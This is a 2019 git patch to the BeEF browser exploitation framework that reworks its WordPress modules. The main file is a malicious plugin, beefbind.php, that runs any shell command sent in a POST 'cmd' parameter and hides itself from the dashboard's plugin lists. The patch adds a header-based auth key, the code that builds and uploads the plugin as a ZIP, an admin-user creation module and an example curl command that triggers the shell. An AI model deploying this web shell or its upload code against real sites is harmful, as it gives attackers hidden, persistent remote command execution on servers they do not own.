From b6d338d334b8b9a4fa4f5d510e058c962d2a614c Mon Sep 17 00:00:00 2001 From: erwanlr Date: Sun, 27 Oct 2019 00:09:39 +0200 Subject: [PATCH] WordPress - Adds auth_key to Plugin, Use SecureRandom and Fixes fatal error when plugin file called directly --- modules/misc/wordpress/add_user/module.rb | 2 +- .../wordpress/upload_rce_plugin/beefbind.php | 38 +++++++++++-------- .../wordpress/upload_rce_plugin/command.js | 2 +- .../wordpress/upload_rce_plugin/config.yaml | 2 +- .../wordpress/upload_rce_plugin/module.rb | 18 ++++++++- modules/misc/wordpress/wordpress_command.rb | 4 +- 6 files changed, 45 insertions(+), 21 deletions(-) diff --git a/modules/misc/wordpress/add_user/module.rb b/modules/misc/wordpress/add_user/module.rb index 87b185632..d9de78a28 100644 --- a/modules/misc/wordpress/add_user/module.rb +++ b/modules/misc/wordpress/add_user/module.rb @@ -13,7 +13,7 @@ class Wordpress_add_user < WordPressCommand def self.options super() + [ { 'name' => 'username', 'ui_label' => 'Username', 'value' => 'beef' }, - { 'name' => 'password', 'ui_label' => 'Pwd', 'value' => [*('a'..'z'), *('0'..'9')].shuffle[0, 8].join }, + { 'name' => 'password', 'ui_label' => 'Pwd', 'value' => SecureRandom.hex(5) }, { 'name' => 'email', 'ui_label' => 'Email', 'value' => '' }, { 'name' => 'role', 'type' => 'combobox', diff --git a/modules/misc/wordpress/upload_rce_plugin/beefbind.php b/modules/misc/wordpress/upload_rce_plugin/beefbind.php index a2b483705..b74b23560 100644 --- a/modules/misc/wordpress/upload_rce_plugin/beefbind.php +++ b/modules/misc/wordpress/upload_rce_plugin/beefbind.php @@ -11,25 +11,33 @@ header("Access-Control-Allow-Origin: *"); -if (isset($_POST['cmd'])) { echo @system($_POST['cmd']); } - +define('SHA1_HASH', '#SHA1HASH#'); define('BEEF_PLUGIN', 'beefbind/beefbind.php'); -function hide_plugin() { - global $wp_list_table; - - foreach ($wp_list_table->items as $key => $val) { - if ($key == BEEF_PLUGIN) { unset($wp_list_table->items[$key]); } - } +if (isset($_SERVER['HTTP_BEEF']) && strlen($_SERVER['HTTP_BEEF']) > 1) { + if (strcasecmp(sha1($_SERVER['HTTP_BEEF']), SHA1_HASH) === 0) { + if (isset($_POST['cmd']) && strlen($_POST['cmd']) > 0) { + echo system($_POST['cmd']); + } + } } -add_action('pre_current_active_plugins', 'hide_plugin'); -// For Multisites -function hide_plugin_from_network($plugins) { - if (in_array(BEEF_PLUGIN, array_keys($plugins))) { unset($plugins[BEEF_PLUGIN]); } +if (defined('WPINC')) { + function hide_plugin() { + global $wp_list_table; + + foreach ($wp_list_table->items as $key => $val) { + if ($key == BEEF_PLUGIN) { unset($wp_list_table->items[$key]); } + } + } + add_action('pre_current_active_plugins', 'hide_plugin'); - return $plugins; + // For Multisites + function hide_plugin_from_network($plugins) { + if (in_array(BEEF_PLUGIN, array_keys($plugins))) { unset($plugins[BEEF_PLUGIN]); } + + return $plugins; + } + add_filter('all_plugins', 'hide_plugin_from_network'); } -add_filter('all_plugins', 'hide_plugin_from_network'); - ?> \ No newline at end of file diff --git a/modules/misc/wordpress/upload_rce_plugin/command.js b/modules/misc/wordpress/upload_rce_plugin/command.js index 2e0c35e0c..1a01fb5b4 100644 --- a/modules/misc/wordpress/upload_rce_plugin/command.js +++ b/modules/misc/wordpress/upload_rce_plugin/command.js @@ -41,7 +41,7 @@ beef.execute(function() { post_data += "filename=\"beefbind.zip\"\r\n"; post_data += "Content-Type: application/octet-stream\r\n"; post_data += "\r\n"; - post_data += "<%= Wordpress_upload_rce_plugin.generate_zip_payload %>"; + post_data += "<%= Wordpress_upload_rce_plugin.generate_zip_payload(@auth_key) %>"; post_data += "\r\n"; post_data += "--" + boundary + "--\r\n" diff --git a/modules/misc/wordpress/upload_rce_plugin/config.yaml b/modules/misc/wordpress/upload_rce_plugin/config.yaml index d4a50b57a..8891812e7 100644 --- a/modules/misc/wordpress/upload_rce_plugin/config.yaml +++ b/modules/misc/wordpress/upload_rce_plugin/config.yaml @@ -12,7 +12,7 @@ beef: description: | This module attempts to upload and activate a malicious wordpress plugin, which will be hidden from the plugins list in the dashboard. Afterwards, the URI to trigger is: http://vulnerable-wordpress.site/wp-content/plugins/beefbind/beefbind.php, - and the command to execute can be send by a POST-parameter named 'cmd'. + and the command to execute can be send by a POST-parameter named 'cmd', with a 'BEEF' header containing the value of the auth_key option. However, there are more stealthy ways to send the POST request to execute the command, depending on the target. CORS headers have been added to allow bidirectional crossdomain communication. authors: ['Bart Leppens', 'Erwan LR'] diff --git a/modules/misc/wordpress/upload_rce_plugin/module.rb b/modules/misc/wordpress/upload_rce_plugin/module.rb index b6a203630..38164f0c0 100644 --- a/modules/misc/wordpress/upload_rce_plugin/module.rb +++ b/modules/misc/wordpress/upload_rce_plugin/module.rb @@ -7,17 +7,25 @@ # Original Author: Bart Leppens # Rewritten by Erwan LR (@erwan_lr | WPScanTeam) # +# To be executed, the request needs a BEEF header with the value of the auth_key option, example: +# curl -H 'BEEF: c9c3a2dcff54c5e2' -X POST --data 'cmd=id' http://wp.lab/wp-content/plugins/beefbind/beefbind.php +# +require 'digest/sha1' require_relative '../wordpress_command' class Wordpress_upload_rce_plugin < WordPressCommand # Generate the plugin ZIP file as string. The method is called in the command.js. # This allows easy modification of the beefbind.php to suit the needs, as well as being automatically generated # even when the module is used with automated rules - def self.generate_zip_payload + def self.generate_zip_payload(auth_key) stringio = Zip::OutputStream::write_buffer do |zio| zio.put_next_entry("beefbind.php") - zio.write(File.read(File.join(File.dirname(__FILE__), 'beefbind.php'))) + + file_content = File.read(File.join(File.dirname(__FILE__), 'beefbind.php')).to_s + file_content.gsub!(/#SHA1HASH#/, Digest::SHA1.hexdigest(auth_key)) + + zio.write(file_content) end stringio.rewind @@ -32,4 +40,10 @@ class Wordpress_upload_rce_plugin < WordPressCommand escaped_payload end + + def self.options + super() + [ + { 'name' => 'auth_key', 'ui_label' => 'Auth Key', 'value' => SecureRandom.hex(8) } + ] + end end diff --git a/modules/misc/wordpress/wordpress_command.rb b/modules/misc/wordpress/wordpress_command.rb index d432b4410..2107112d8 100644 --- a/modules/misc/wordpress/wordpress_command.rb +++ b/modules/misc/wordpress/wordpress_command.rb @@ -5,6 +5,8 @@ # Author Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/ # +require 'securerandom' + class WordPressCommand < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/wordpress/wp.js', '/wp', 'js') @@ -13,7 +15,7 @@ class WordPressCommand < BeEF::Core::Command # If we could retrive the hooked URL, we could try to determine the wp_path to be set below def self.options [ - { 'name' => 'wp_path', 'ui_label' => 'WordPress Path', 'value' => '/' } + { 'name' => 'wp_path', 'ui_label' => 'WordPress Path', 'value' => '/wordpress-5.2.4/' } ] end